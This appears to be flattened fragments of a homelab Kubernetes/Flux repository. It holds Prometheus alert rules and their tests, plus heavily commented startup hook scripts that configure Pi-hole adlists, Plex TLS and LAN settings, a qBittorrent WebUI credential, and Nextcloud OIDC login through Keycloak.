description:'jackett has been unreachable for 5m (SLI:up).'
description:'jackett:its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_deployment_status_replicas_available).'
- "# Assert the declared adlists in gravity.db. Idempotent: steady state writes nothing and\n# does NOT run a gravity rebuild.\nset -u\nGRAVITY=/etc/pihole/gravity.db\n\n# THE DECLARED SET \u2014 one URL per line, the source of truth for what PiHole blocks.\n# To add a list: add a line here, commit, let Flux reconcile. Nothing else to do.\nDECLARED='https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts'\n\n# On a fresh PVC, FTL creates gravity.db a moment after the container starts. Wait, bounded,\n# and NEVER block or fail the start: a missing DB here must not crashloop DNS for the LAN.\ni=0\nwhile [ ! -s \"$GRAVITY\" ] && [ \"$i\" -lt 90 ]; do sleep 2; i=$(expr $i + 1); done\nif [ ! -s \"$GRAVITY\" ]; then\n echo \"pihole-adlists: gravity.db absent after 180s - leaving adlists untouched\" >&2\n exit 0\nfi\n\nsql() { pihole-FTL sqlite3 \"$GRAVITY\" \"$1\"; }\nCHANGED=0\n\n# 1) Every declared URL must be present AND enabled.\necho \"$DECLARED\" | while IFS= read -r url; do\n [ -n \"$url\" ] || continue\n printf '%s\\n' \"$url\"\ndone > /tmp/declared.txt\nwhile IFS= read -r url; do\n [ -n \"$url\" ] || continue\n # Single quotes inside a URL would break this SQL; adlist URLs do not contain them.\n have=$(sql \"select count(*) from adlist where address='$url';\")\n if [ \"$have\" = \"0\" ]; then\n echo \"pihole-adlists: adding $url\"\n sql \"insert into adlist (address,enabled,comment) values ('$url',1,'declared in catalog/pihole.yaml');\"\n CHANGED=1\n else\n en=$(sql \"select enabled from adlist where address='$url';\")\n if [ \"$en\" != \"1\" ]; then\n echo \"pihole-adlists: re-enabling $url\"\n sql \"update adlist set enabled=1 where address='$url';\"\n CHANGED=1\n fi\n fi\ndone < /tmp/declared.txt\n\n# 2) Anything enabled in the DB but NOT declared gets disabled (never deleted - see above).\nsql \"select address from adlist where enabled=1;\" | while IFS= read -r addr; do\n [ -n \"$addr\" ] || continue\n if ! grep -qxF \"$addr\" /tmp/declared.txt; then\n echo \"pihole-adlists: disabling undeclared $addr\"\n sql \"update adlist set enabled=0 where address='$addr';\"\n echo changed >> /tmp/adlist-changed\n fi\ndone\n[ -s /tmp/adlist-changed ] && CHANGED=1\nrm -f /tmp/adlist-changed /tmp/declared.txt\n\n# 3) Rebuild gravity ONLY if the declared set actually moved.\nif [ \"$CHANGED\" = \"1\" ]; then\n echo \"pihole-adlists: declared set changed - running gravity update\"\n pihole -g || echo \"pihole-adlists: gravity update failed; existing gravity.db retained\" >&2\nelse\n echo \"pihole-adlists: already matches the declared set - nothing to do\"\nfi\nexit 0\n"
expr:kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"} == 0 or absent(kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"})
for:5m
labels:
severity:critical
service:pihole
annotations:
summary:pihole is down
description:'pihole has been unreachable for 5m (SLI:up).'
description:'pihole:its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_statefulset_status_replicas_ready).'
- "# NOTE \u2014 LOAD-BEARING: SHELL VARIABLES HERE ARE WRITTEN BARE, NEVER BRACE-WRAPPED.\n# This whole script is rewritten by Flux postBuild envsubst BEFORE it ever runs, so a\n# brace-wrapped name is read as a cluster-vars knob: an undeclared one is a HARD\n# Kustomization failure under StrictPostBuildSubstitutions, and a declared one would be\n# replaced with its value. Shell vars are therefore `$PX`, `$TOKEN`, `$P12` \u2014 bare. Only\n# BASE_DOMAIN below is brace-wrapped, because it IS a knob and IS meant to be\n# substituted. Command substitution `$(cmd)` is left alone and needs no escaping. A shell\n# variable written with braces would be blanked or would fail the whole Kustomization \u2014\n# this repo has already lost a gitea OIDC bootstrap to exactly that mistake, and\n# catalog/render.py now refuses to emit it (which is how this very comment got caught).\n# DELIBERATELY NO `set -u`. The TLS env vars are declared `optional: true`, so when the\n# certificate has not issued yet they are genuinely UNSET, not empty \u2014 and under `set -u`\n# the first `[ -n \"$PLEX_TLS_CRT\" ]` would abort the script, which for a postStart hook\n# means kubelet KILLS THE CONTAINER. That is the precise failure the `optional` flag exists\n# to prevent, so turning it back on here would defeat the whole design. (The alternative,\n# a brace-wrapped `:-` default, would need envsubst escaping \u2014 the trap the note above\n# describes.) Every value below is explicitly guarded instead.\nPX=\"/config/Library/Application Support/Plex Media Server/Preferences.xml\"\nCERTDIR=/config/certs\nP12=$CERTDIR/plex-vip.p12\n# The PKCS#12 passphrase protects nothing and is deliberately not a secret: Plex needs it\n# in cleartext in customCertificateKey, and it and the bundle sit on the same PVC. It is a\n# container-format requirement, not an access control.\nP12PASS=plexvip\nLANNETS='10.0.0.0/8,192.168.0.0/16'\nCERTDOMAIN=plex-vip.${BASE_DOMAIN}\nAPI=http://127.0.0.1:32400\n\n# (1) Build the PKCS#12 bundle from the PEM the Secret supplies. Rebuilt on every start so\n# a cert-manager RENEWAL is picked up with no extra moving part.\nif [ -n \"$PLEX_TLS_CRT\" ] && [ -n \"$PLEX_TLS_KEY\" ]; then\n mkdir -p $CERTDIR && chmod 700 $CERTDIR\n printf '%s' \"$PLEX_TLS_CRT\" > $CERTDIR/tls.crt\n printf '%s' \"$PLEX_TLS_KEY\" > $CERTDIR/tls.key\n chmod 600 $CERTDIR/tls.key\n if openssl pkcs12 -export -out $P12.tmp -inkey $CERTDIR/tls.key \\\n -in $CERTDIR/tls.crt -passout pass:$P12PASS 2>/dev/null; then\n mv -f $P12.tmp $P12\n chown 1000:1000 $P12 2>/dev/null || true\n chmod 600 $P12\n echo \"[plex-settings] PKCS#12 bundle written\"\n else\n rm -f $P12.tmp\n echo \"[plex-settings] WARN: pkcs12 export failed; keeping any previous bundle\" >&2\n fi\n rm -f $CERTDIR/tls.key\nelse\n echo \"[plex-settings] WARN: TLS env empty; certificate not installed this start\" >&2\nfi\n\n# (2) Wait, bounded (~90s), for the local API. /identity needs no auth.\ni=0\nwhile [ \"$i\" -lt 45 ]; do\n if [ \"$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 $API/identity 2>/dev/null)\" = \"200\" ]; then\n break\n fi\n i=$(expr $i + 1); sleep 2\ndone\n\n# (3) The prefs API needs the server token. It already lives in Preferences.xml on this\n# PVC; it is never echoed here, and Plex redacts tokens in its own request log. An\n# UNCLAIMED server has none \u2014 a normal state on a fresh /config \u2014 so skip, do not fail.\nTOKEN=$(grep -o 'PlexOnlineToken=\"[^\"]*\"' \"$PX\" 2>/dev/null | head -1 | cut -d'\"' -f2)\nif [ -z \"$TOKEN\" ]; then\n echo \"[plex-settings] not claimed yet \u2014 skipping prefs, will retry next start\" >&2\n exit 0\nfi\n\n# Percent-encode what our values actually contain. Plex takes prefs as QUERY parameters on\n# a PUT, so a raw '/' or ',' would be read as structure rather than data.\nenc() {\n printf '%s' \"$1\" | sed -e 's|%|%25|g' -e 's|/|%2F|g' -e 's|,|%2C|g' \\\n -e 's|:|%3A|g' -e 's| |%20|g'\n}\nsetpref() {\n code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 10 -X PUT\
\ \\\n -H \"X-Plex-Token: $TOKEN\" \"$API/:/prefs?$1=$(enc \"$2\")\" 2>/dev/null)\n if [ \"$code\" = \"200\" ]; then\n echo \"[plex-settings] set $1\"\n else\n echo \"[plex-settings] WARN: $1 -> HTTP $code\" >&2\n fi\n}\n\n# (4) THE LAN DEFINITION \u2014 the reason this hook was written. Without it Plex has NO notion\n# of a local network and tags EVERY client remote. Measured 2026-10-04: 468 requests\n# logged \"Allowed Network (WAN)\" and ZERO \"(LAN)\", including Seerr from inside the\n# cluster, which is why the server showed as Remote to LAN clients. Note allowedNetworks\n# (the ALLOWED_NETWORKS env) only waives AUTH \u2014 it does NOT make a client local. Two\n# different settings; only one of them has an env hook.\nsetpref LanNetworksBandwidth \"$LANNETS\"\n\n# (5) THE CERTIFICATE, which is what makes the `https` in ADVERTISE_IP servable. Set only\n# if the bundle exists \u2014 pointing Plex at a missing file would break its TLS listener.\nif [ -s \"$P12\" ]; then\n setpref customCertificatePath \"$P12\"\n setpref customCertificateKey \"$P12PASS\"\n setpref customCertificateDomain \"$CERTDOMAIN\"\nelse\n echo \"[plex-settings] WARN: no bundle; leaving certificate prefs untouched\" >&2\nfi\nexit 0\n"
expr:kube_deployment_status_replicas_available{namespace="plex", deployment="plex"} == 0 or absent(kube_deployment_status_replicas_available{namespace="plex", deployment="plex"})
for:5m
labels:
severity:critical
service:plex
annotations:
summary:plex is down
description:'plex has been unreachable for 5m (SLI:up).'
description:'plex:its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_deployment_status_replicas_available).'
- "# Assert the durable WebUI credential in the config PVC's qBittorrent.conf, then PROVE the\n# running WebUI accepts it. Idempotent: the steady-state path writes nothing at all.\n#\n# THIS SCRIPT CONTAINS NO BRACED DOLLAR EXPANSION AT ALL, AND THAT IS DELIBERATE.\n# apps-wave-0 declares postBuild.substituteFrom cluster-vars, so Flux runs envsubst over\n# this whole manifest at RECONCILE time. The repo's escape contract (double the dollar;\n# enforced by render.py's assert_substitution_safe) makes such a form correct ON THE\n# CLUSTER \u2014 but only there:\n# envsubst collapses the doubled dollar, so the SAME text run any other way (a `kubectl\n# apply` of the golden, which runs no envsubst; a hand `kubectl exec` of the script during\n# development) keeps the doubled dollar, which bash reads as its own PID. Not hypothetical;\n# see the PORT comment below for the bug it actually caused here. Bare `$VAR` and `$(cmd)`\n# are untouched by envsubst, so they are used throughout and the script behaves IDENTICALLY\n# however it is run.\nset -u\nCONF=/config/qBittorrent/qBittorrent.conf\nSVC=/run/service/svc-qbittorrent\n# The WebUI's listening port, as a LITERAL. It matches ingressRoutes[0].port in this\n# ServiceDefinition \u2014 which is the single place the renderer takes the containerPort, the\n# Service port and the HTTPRoute backend port from \u2014 and the image exposes no WEBUI_PORT\n# env var for a lookup to read anyway.\n# It USED to be a doubled-dollar default-operator expansion of a WEBUI_PORT env var, and\n# that cost real time: run without envsubst, bash read the doubled dollar as its own PID,\n# so PORT became \"<pid>{WEBUI_PORT:-8080}\" \u2014 the brace never expanded, the digits never\n# matched. Every curl below then got an unparseable URL, returned nothing, and the hook\n# logged \"the WebUI rejected the durable\n# credential\" \u2014 having never actually asked it. That MISDIAGNOSIS is preserved in this\n# service's own marker log at 2026-09-13T05:35Z (three \"rejected\" lines, then GAVE UP,\n# against a WebUI that accepted the credential perfectly well). A literal cannot be mangled.\nPORT=8080\n# A postStart hook's stdout/stderr goes to the KUBELET, not to `kubectl logs` \u2014 so a hook\n# that only echoes is effectively silent (gitea's hits the same wall and writes a marker\n# file for it). Every outcome therefore also lands, timestamped, on the persistent config\n# volume: /config/qbittorrent-webui-cred.log is where an operator looks to see whether the\n# credential from git was asserted and accepted on this start.\nlog() {\n echo \"[qbt-webui-cred] $*\"\n printf '%s [qbt-webui-cred] %s\\n' \"$(date -u +%Y-%m-%dT%H:%M:%SZ)\" \"$*\" \\\n >> /config/qbittorrent-webui-cred.log 2>/dev/null || true\n}\n\n# (1) The image's init-qbittorrent-config copies /defaults/qBittorrent.conf onto the PVC\n# before it starts the service. Wait (bounded, ~30s) so we EDIT that file instead of\n# racing to create one it would then not overwrite.\nn=0\nwhile [ ! -s \"$CONF\" ] && [ \"$n\" -lt 120 ]; do n=$((n + 1)); sleep 0.25; done\n\nwaited=0\nattempt=0\nwhile [ \"$attempt\" -lt 3 ]; do\n attempt=$((attempt + 1))\n\n # (2) Converge the conf. 0 = already correct (steady state: NO write, NO re-salt),\n # 10 = rewritten, anything else = could not write.\n python3 - \"$CONF\" <<'PY'\nimport base64, hashlib, hmac, os, stat, sys\n\nconf = sys.argv[1]\nuser = os.environ.get(\"QBT_WEBUI_USERNAME\", \"\")\npw = os.environ.get(\"QBT_WEBUI_PASSWORD\", \"\")\nif not user or not pw:\n sys.stderr.write(\"[qbt-webui-cred] credential env is empty - refusing to touch the conf\\n\")\n raise SystemExit(1)\n\n# qBittorrent's OWN parameters (base/utils/password.cpp): PBKDF2-HMAC-SHA512, 100000\n# iterations, 16-byte random salt, 64-byte digest, stored as\n# WebUI\\Password_PBKDF2=\"@ByteArray(<base64 salt>:<base64 digest>)\"\n# Get any one of them wrong and the app simply rejects every login.\nITERATIONS, DIGEST_LEN, SALT_LEN = 100000, 64, 16\nUKEY, PKEY, SECTION = \"WebUI\\\\Username\", \"WebUI\\\\Password_PBKDF2\"\
, \"[Preferences]\"\n\ndef matches(raw):\n \"\"\"True iff the stored digest is one OUR password produces (salt is read from it).\"\"\"\n v = raw.strip().strip('\"')\n if v.startswith(\"@ByteArray(\") and v.endswith(\")\"):\n v = v[len(\"@ByteArray(\"):-1]\n try:\n salt_b64, digest_b64 = v.split(\":\", 1)\n salt = base64.b64decode(salt_b64, validate=True)\n digest = base64.b64decode(digest_b64, validate=True)\n except Exception:\n return False\n if not salt or not digest:\n return False\n return hmac.compare_digest(\n hashlib.pbkdf2_hmac(\"sha512\", pw.encode(), salt, ITERATIONS, len(digest)), digest)\n\ntry:\n lines = open(conf, encoding=\"utf-8\", errors=\"replace\").read().splitlines()\nexcept FileNotFoundError:\n lines = []\n\ndef value_of(key):\n for i, line in enumerate(lines):\n if line.startswith(key + \"=\"):\n return i, line.split(\"=\", 1)[1]\n return -1, None\n\nui, uval = value_of(UKEY)\npi, pval = value_of(PKEY)\nif uval == user and pval is not None and matches(pval):\n raise SystemExit(0) # converged - leave the file (and its salt) alone\n\nsalt = os.urandom(SALT_LEN)\ndigest = hashlib.pbkdf2_hmac(\"sha512\", pw.encode(), salt, ITERATIONS, DIGEST_LEN)\nstored = base64.b64encode(salt).decode() + \":\" + base64.b64encode(digest).decode()\ndesired = [UKEY + \"=\" + user, PKEY + '=\"@ByteArray(' + stored + ')\"']\n\nout = [line for i, line in enumerate(lines) if i not in (ui, pi)]\nif SECTION in out:\n at = out.index(SECTION) + 1\nelse:\n if out and out[-1].strip():\n out.append(\"\")\n out.append(SECTION)\n at = len(out)\nout[at:at] = desired\n\ntry:\n os.makedirs(os.path.dirname(conf) or \".\", exist_ok=True)\n tmp = conf + \".webui-cred.new\"\n with open(tmp, \"w\", encoding=\"utf-8\") as fh:\n fh.write(\"\\n\".join(out) + \"\\n\")\n fh.flush()\n os.fsync(fh.fileno())\n # This hook runs as ROOT; the service runs as PUID:PGID. A root-owned 0600 conf would\n # cost the app the ability to save its own settings, so carry the ownership over.\n try:\n st = os.stat(conf)\n os.chown(tmp, st.st_uid, st.st_gid)\n os.chmod(tmp, stat.S_IMODE(st.st_mode))\n except FileNotFoundError:\n os.chown(tmp, int(os.environ.get(\"PUID\", \"1000\")),\n int(os.environ.get(\"PGID\", \"1000\")))\n os.chmod(tmp, 0o664)\n os.replace(tmp, conf) # atomic: the app never reads a half-written conf\nexcept OSError as exc:\n sys.stderr.write(\"[qbt-webui-cred] cannot write %s: %s\\n\" % (conf, exc))\n raise SystemExit(1)\nraise SystemExit(10)\nPY\n rc=$?\n\n if [ \"$rc\" = 0 ]; then\n log \"conf already holds the durable credential for '$QBT_WEBUI_USERNAME' (no write)\"\n elif [ \"$rc\" = 10 ]; then\n log \"asserted WebUI Username + Password_PBKDF2 into $CONF\"\n # postStart runs CONCURRENTLY with the s6 init chain, so qbittorrent-nox may ALREADY\n # have read the old, credential-less conf and be serving a random temporary password.\n # Restart the SUPERVISED SERVICE (not the pod) so it re-reads what was just written.\n # Nothing to do when the service has not started yet - it will read the new file.\n # Its own counter, NOT the shared `waited` API budget: sharing one counter is how the\n # 2026-09-13 failure spent the entire verification budget before the first login and\n # then fired attempts 2 and 3 with no wait left at all.\n sv=0\n while [ \"$sv\" -lt 60 ] && [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" != \"true\" ]; do\n sv=$((sv + 1)); sleep 1\n done\n if [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" = \"true\" ]; then\n log \"qbittorrent-nox was already running - restarting it to load the credential\"\n s6-svc -r \"$SVC\" || log \"s6-svc -r failed (continuing to verify anyway)\"\n sleep 3\n fi\n else\n log \"FAILED to write the credential into $CONF (helper exit $rc). The WebUI will keep\" >&2\n log \"minting a random password\
\ every start and BOTH arrs will break. Fix and restart.\" >&2\n exit 0\n fi\n\n # (3) GROUND TRUTH: the WebUI itself must accept it. Wait for the API to answer at ALL\n # (shared ~120s budget across attempts), then spend exactly ONE login per attempt -\n # at most 3 rejected logins, which stays under qBittorrent's default ban threshold.\n #\n # \"THE API NEVER ANSWERED\" IS A DIFFERENT FAULT FROM \"THE PASSWORD WAS REJECTED\", and\n # conflating them is what made this hook lie once already (see the PORT comment). An\n # unreachable WebUI is reported as unreachable, and the hook stops rather than spending\n # its remaining login attempts to produce two more identical wrong diagnoses.\n api_ok=0\n while [ \"$waited\" -lt 120 ]; do\n code=$(curl -s -o /dev/null -m 3 -w '%{http_code}' \"http://127.0.0.1:$PORT/\" 2>/dev/null)\n if [ -n \"$code\" ] && [ \"$code\" != \"000\" ]; then api_ok=1; break; fi\n waited=$((waited + 1)); sleep 1\n done\n if [ \"$api_ok\" != 1 ]; then\n log \"the WebUI never answered on 127.0.0.1:$PORT within the wait budget, so the\" >&2\n log \"credential in $CONF is UNVERIFIED. This is NOT a rejected password - it was\" >&2\n log \"never submitted. Do not rotate the credential on the strength of this line.\" >&2\n exit 0\n fi\n body=$(curl -sS -m 10 \\\n --data-urlencode \"username=$QBT_WEBUI_USERNAME\" \\\n --data-urlencode \"password=$QBT_WEBUI_PASSWORD\" \\\n \"http://127.0.0.1:$PORT/api/v2/auth/login\" 2>/dev/null)\n if [ \"$body\" = \"Ok.\" ]; then\n log \"VERIFIED: the WebUI accepts the durable credential for '$QBT_WEBUI_USERNAME'\"\n exit 0\n fi\n log \"WebUI rejected the durable credential (login said '$body')\" >&2\n # A rejection when the conf was ALREADY converged (rc=0, nothing written) can only mean\n # the running qbittorrent-nox is serving something it read from an EARLIER conf, so\n # rewriting the same bytes on the next attempt would change nothing. The remedy is to\n # make the process RE-READ the file, so restart the supervised service and let the next\n # attempt re-verify. Without this the retry loop could never change its own outcome.\n if [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" = \"true\" ]; then\n log \"restarting qbittorrent-nox so it re-reads $CONF, then re-verifying\" >&2\n s6-svc -r \"$SVC\" || log \"s6-svc -r failed (continuing to verify anyway)\" >&2\n sleep 3\n fi\ndone\n\nlog \"GAVE UP after $attempt attempts: the WebUI does not accept the credential from git.\" >&2\n# A postStart hook MUST exit 0 - a non-zero exit makes the kubelet KILL the container\n# (FailedPostStartHook -> CrashLoopBackOff), turning a credential fault into an outage.\n# Both failure paths above therefore log LOUDLY and exit 0; the `up` SLI still watches the\n# app, and the arrs' own download-client health check surfaces a broken credential.\nexit 0\n"
expr:kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"} == 0 or absent(kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"})
for:5m
labels:
severity:critical
service:qbittorrent
annotations:
summary:qbittorrent is down
description:'qbittorrent has been unreachable for 5m (SLI:up).'
description:'qbittorrent:its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_deployment_status_replicas_available).'
description:"plex: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
- eval_time:10m
alertname:gitea-down
exp_alerts:[]
- eval_time:10m
alertname:jackett-down
exp_alerts:[]
- eval_time:10m
alertname:pihole-down
exp_alerts:[]
- eval_time:10m
alertname:qbittorrent-down
exp_alerts:[]
- eval_time:10m
alertname:vm-demo-down
exp_alerts:[]
# Before `for: 5m` has elapsed the rule must be PENDING, not firing — proof the 5m is real and
# a single scrape blip does not page anyone.
promql_expr_test:
- expr:'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"} == 0 or absent(kube_deployment_status_replicas_available{namespace="plex", deployment="plex"})'
description:"gitea: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
- eval_time:10m
alertname:jackett-down
exp_alerts:
- exp_labels:
severity:critical
service:jackett
namespace:jackett
deployment:jackett
exp_annotations:
summary:"jackett is down"
description:"jackett: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
- eval_time:10m
alertname:pihole-down
exp_alerts:
- exp_labels:
severity:critical
service:pihole
namespace:pihole
statefulset:pihole
exp_annotations:
summary:"pihole is down"
description:"pihole: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready)."
- eval_time:10m
alertname:qbittorrent-down
exp_alerts:
- exp_labels:
severity:critical
service:qbittorrent
namespace:qbittorrent
deployment:qbittorrent
exp_annotations:
summary:"qbittorrent is down"
description:"qbittorrent: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
description:"plex: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
# CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): keycloak-allow-internet-egress
apiVersion:cilium.io/v2
kind:CiliumNetworkPolicy
metadata:
name:keycloak-allow-internet-egress
namespace:keycloak
labels:
app.kubernetes.io/name:keycloak
spec:
endpointSelector:
matchLabels:
app.kubernetes.io/name:keycloak
egress:
- toEntities:
- world
---
# HTTPRoute keycloak-8080 (R-TLS/R-DNS)
apiVersion:gateway.networking.k8s.io/v1
kind:HTTPRoute
metadata:
name:keycloak-8080
namespace:keycloak
labels:
app.kubernetes.io/name:keycloak
spec:
parentRefs:
- name:shared
namespace:gateway
sectionName:https
hostnames:
- keycloak.${BASE_DOMAIN}
rules:
- matches:
- path:
type:PathPrefix
value:/
backendRefs:
- name:keycloak
port:8080
---
# PrometheusRule SLI alerts (R-OBS-01)
apiVersion:monitoring.coreos.com/v1
kind:PrometheusRule
metadata:
name:keycloak-slis
namespace:keycloak
labels:
release:kube-prometheus-stack
app.kubernetes.io/name:keycloak
spec:
groups:
- name:keycloak.slis
rules:
- alert:keycloak-down
expr:kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"} == 0 or absent(kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"})
for:5m
labels:
severity:critical
service:keycloak
annotations:
summary:keycloak is down
description:'keycloak:its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_statefulset_status_replicas_ready).'
- "# Idempotent Keycloak OIDC wiring (R-IDP-02/06). Runs alongside the nextcloud entrypoint\n# (which installs/upgrades on first boot). Installs+enables the user_oidc app and creates OR\n# updates the \"keycloak\" login provider (occ user_oidc:provider is create-or-update by\n# identifier). Auto-discovery pulls the realm's endpoints; the `groups` claim drives Nextcloud\n# group provisioning. occ runs as www-data (owns config.php); the client secret is passed via\n# --clientsecret-env so it never lands on a command line. Safe to re-run every start; a missing\n# secret or not-yet-installed instance is skipped so the pod never crashloops (the local\n# break-glass admin still works).\nset -u\n# OCC runs occ as www-data (owns config.php). NOTE: this wrapper word-splits its args via $*,\n# so it is used ONLY for single-token subcommands (status/app:list/app:install/...). The\n# provider call below carries a MULTI-WORD value (--scope 'openid email profile') and is run as\n# ONE su -c with the scope single-quoted, so the inner shell keeps it a single argument.\nOCC() { su -s /bin/sh www-data -c \"php /var/www/html/occ $*\"; }\nNEXTCLOUD_DISCOVERY_URL=https://keycloak.home.keithjackson.dev/realms/homelab/.well-known/openid-configuration\nnextcloud_oidc_fail() {\n echo \"[nextcloud-oidc] FAILED to configure 'keycloak' provider: $1\" >&2\n { echo \"$(date -u +%Y-%m-%dT%H:%M:%SZ) [nextcloud-oidc] FAILED: $1\"; } >> /var/www/html/nextcloud-oidc-bootstrap.log 2>/dev/null || true\n}\n# (a) Wait for the instance to be installed AND out of maintenance mode. The entrypoint holds\n# maintenance mode during first-boot install/upgrade; occ writes made in that window do not\n# stick \u2014 a second race on top of the quoting bug fixed at (c).\ni=0\nuntil OCC status 2>/dev/null | grep -q \"installed: true\" && ! OCC status 2>/dev/null | grep -q \"maintenance: true\"; do\n i=$((i + 1))\n [ \"$i\" -ge 300 ] && { echo \"[nextcloud-oidc] occ not ready (installed/maintenance) after wait; skipping\" >&2; exit 0; }\n sleep 2\ndone\n# Let Nextcloud's OWN server-side HTTP client reach the private-network IdP. The Keycloak\n# FQDN resolves (split-horizon) to the PRIVATE Cilium gateway VIP (RFC1918), and Nextcloud's\n# SSRF guard otherwise REFUSES that request \u2014 OCP\\Http\\Client\\LocalServerException \"violates\n# local access rules\" \u2014 during user_oidc's discovery/JWKS/token fetch AT LOGIN, surfacing to\n# the user as \"Could not reach the provider\". (The (b) curl check below uses system libcurl,\n# NOT this guard, so it passes while the browser login still failed.) Idempotent; re-applied\n# every start so it survives pod rolls / PVC rebuilds. Confirmed root cause 2026-08-27.\nOCC config:system:set allow_local_remote_servers --value=true --type=boolean >/dev/null 2>&1 \\\n || echo \"[nextcloud-oidc] WARN: failed to set allow_local_remote_servers\" >&2\nif [ -z \"${NEXTCLOUD_OIDC_CLIENT_SECRET:-}\" ]; then\n echo \"[nextcloud-oidc] client secret unset; skipping OIDC (break-glass admin only)\"\n exit 0\nfi\nif ! OCC app:list 2>/dev/null | grep -q \"user_oidc\"; then\n OCC app:install user_oidc || echo \"[nextcloud-oidc] app:install user_oidc failed\" >&2\nfi\nOCC app:enable user_oidc >/dev/null 2>&1 || true\n# (b) Wait up to ~90s for the Keycloak discovery doc to be reachable (HTTP 200) before registering.\nd=0; disc_ok=0\nwhile [ \"$d\" -lt 45 ]; do\n if [ \"$(curl -sS -o /dev/null -w '%{http_code}' --max-time 5 \"$NEXTCLOUD_DISCOVERY_URL\" 2>/dev/null)\" = \"200\" ]; then\n disc_ok=1; break\n fi\n d=$((d + 1)); sleep 2\ndone\n[ \"$disc_ok\" = 1 ] || nextcloud_oidc_fail \"Keycloak discovery endpoint not reachable (HTTP 200) within timeout\"\n# (c) Configure (create-or-update by identifier) then VERIFY it persisted; retry the whole cycle.\n# HARDENED: run as ONE su -c so www-data's shell parses --scope='openid email profile' as a\n# single argument. The previous `OCC user_oidc:provider ... --scope=\"openid email profile\"`\n# form fed the value back through the wrapper's $*, which SPLIT it into extra\
\ positionals ->\n# occ \"Too many arguments\" -> silent failure on EVERY boot. Secret via --clientsecret-env\n# (never on argv). The verify-then-retry loop guarantees the provider actually persisted.\nr=0; reg_ok=0\nwhile [ \"$r\" -lt 10 ]; do\n su -s /bin/sh www-data -c \"php /var/www/html/occ user_oidc:provider keycloak \\\n --clientid=nextcloud \\\n --clientsecret-env=NEXTCLOUD_OIDC_CLIENT_SECRET \\\n --discoveryuri=$NEXTCLOUD_DISCOVERY_URL \\\n --scope='openid email profile' \\\n --unique-uid=0 \\\n --mapping-uid=preferred_username \\\n --mapping-email=email \\\n --mapping-display-name=name \\\n --group-provisioning=1 \\\n --mapping-groups=groups\" >/dev/null 2>&1 || true\n if OCC user_oidc:provider 2>/dev/null | grep -q \"keycloak\"; then\n reg_ok=1; break\n fi\n r=$((r + 1)); sleep 3\ndone\nif [ \"$reg_ok\" = 1 ]; then\n echo \"[nextcloud-oidc] provider 'keycloak' configured and verified\"\nelse\n nextcloud_oidc_fail \"user_oidc:provider ran but the provider did not persist after retries\"\nfi\n# (d) Promote Keycloak 'platform-admins' members to Nextcloud admins (#5). user_oidc 8.11 has\n# NO native group->admin mapping (occ user_oidc:provider offers group PROVISIONING and a\n# login WHITELIST only), so mirror the provisioned 'platform-admins' membership into the\n# built-in 'admin' group (the sole source of admin rights in Nextcloud). Idempotent every\n# start: occ group:adduser is a no-op for an existing member. A user is promotable only\n# AFTER their first OIDC login provisions them into the group, so a brand-new admin gains\n# rights on their next login + the following pod start (or run `occ group:adduser admin\n# <uid>` once). The LOCAL break-glass admin is unaffected (docs/15). The group name is\n# passed to php as argv (never interpolated) so group:list JSON parses robustly.\nADMIN_SRC_GROUP=platform-admins\n# HARDENED (verify-and-retry, like step (c)): the previous single pass ran `occ group:adduser`\n# exactly once with its output swallowed (>/dev/null 2>&1) and NO retry, so an early-boot\n# transient failure (DB / maintenance race in the first seconds after container start) silently\n# dropped the promotion until the NEXT pod restart. This loop re-reads group:list and re-adds\n# any platform-admins member still missing from 'admin' until all are verified (bounded ~30s);\n# it is a no-op for members already in 'admin'. Group names are passed to php as argv (never\n# interpolated) so the JSON parses robustly.\nparse_group() { su -s /bin/sh www-data -c \"php /var/www/html/occ group:list --output=json\" 2>/dev/null | php -r '$d=json_decode(stream_get_contents(STDIN),true);$g=$argv[1];if(is_array($d)&&!empty($d[$g])&&is_array($d[$g])){foreach($d[$g] as $u){echo $u,\"\\n\";}}' -- \"$1\" 2>/dev/null; }\np=0\nwhile [ \"$p\" -lt 15 ]; do\n current_admins=$(parse_group admin)\n missing=0\n for uid in $(parse_group \"$ADMIN_SRC_GROUP\"); do\n if printf '%s\\n' \"$current_admins\" | grep -qxF -- \"$uid\"; then\n continue\n fi\n missing=1\n if OCC group:adduser admin \"$uid\" >/dev/null 2>&1; then\n echo \"[nextcloud-oidc] ensured '$uid' is a Nextcloud admin (member of $ADMIN_SRC_GROUP)\"\n fi\n done\n [ \"$missing\" = 0 ] && break\n p=$((p + 1)); sleep 2\ndone\n[ \"$p\" -ge 15 ] && nextcloud_oidc_fail \"could not promote all $ADMIN_SRC_GROUP members into 'admin' after retries\"\n"
